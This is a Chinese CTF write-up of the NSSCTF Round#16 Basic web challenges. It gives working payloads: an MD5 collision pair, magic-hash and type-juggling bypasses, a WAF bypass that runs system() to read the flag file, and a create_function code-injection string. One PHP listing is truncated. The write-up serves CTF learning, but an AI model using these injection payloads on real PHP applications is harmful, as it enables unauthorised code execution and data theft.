【Web】NSSCTF Round#16 Basic个人wp(全)

出题友好,适合手生复健。

目录

①RCE但是没有完全RCE

②了解过PHP特性吗


①RCE但是没有完全RCE

【Web】NSSCTF Round#16 Basic个人wp(全)_第1张图片

上来就是一段md5八股

(string)就是不让用数组了,然后强比较需要md5碰撞

?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 之后是要md5前后都是0e

post:md5_3=0e215962017

 

成功过掉,访问3z_RC3.php

【Web】NSSCTF Round#16 Basic个人wp(全)_第2张图片

 这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。

所以采用下面这种解法:

/3z_RC3.php?cmd=system($_POST[1]);

post:shell=urldecode&1=tac /f*

这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。

再要绕waf很自然就想到用$_POST[1]来转接。

②了解过PHP特性吗

乐,开屏一堆PHP特性

【Web】NSSCTF Round#16 Basic个人wp(全)_第3张图片

 这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。

 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo 3;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo 4;
    }
}

第一个是数组绕过preg_match,不解释。

第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求$ctype是字母,$is_num是数字(当然包括科学计数法)

自然可以找到这两个,记得要rev一下。

QNKCDZO->OZDCKNQ

0e215962017->710269512e0

第三个是科学计数法+含数字字母字符串弱比较

第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)

' NSS'); //注意NSS前有空格
$key=array_search('NSS',$arr);
if ($key=1){
    echo 'success';
}
else echo 'no!';

 

payload:

?num[]=1&114=9e9

post:514=99999999a&ctype=OZDCKNQ&is_num=710269512e0&arr4y[]= NSS

 

访问Rc3_function.php

【Web】NSSCTF Round#16 Basic个人wp(全)_第4张图片

一眼create_function注入,贴出文章不多解释

create_function注入

payload:

shell=&nss=1;}system('tac /f*');/*

你可能感兴趣的:(ctf,web,nssctf,nssctf,round,网络安全,wp,nss,round,16)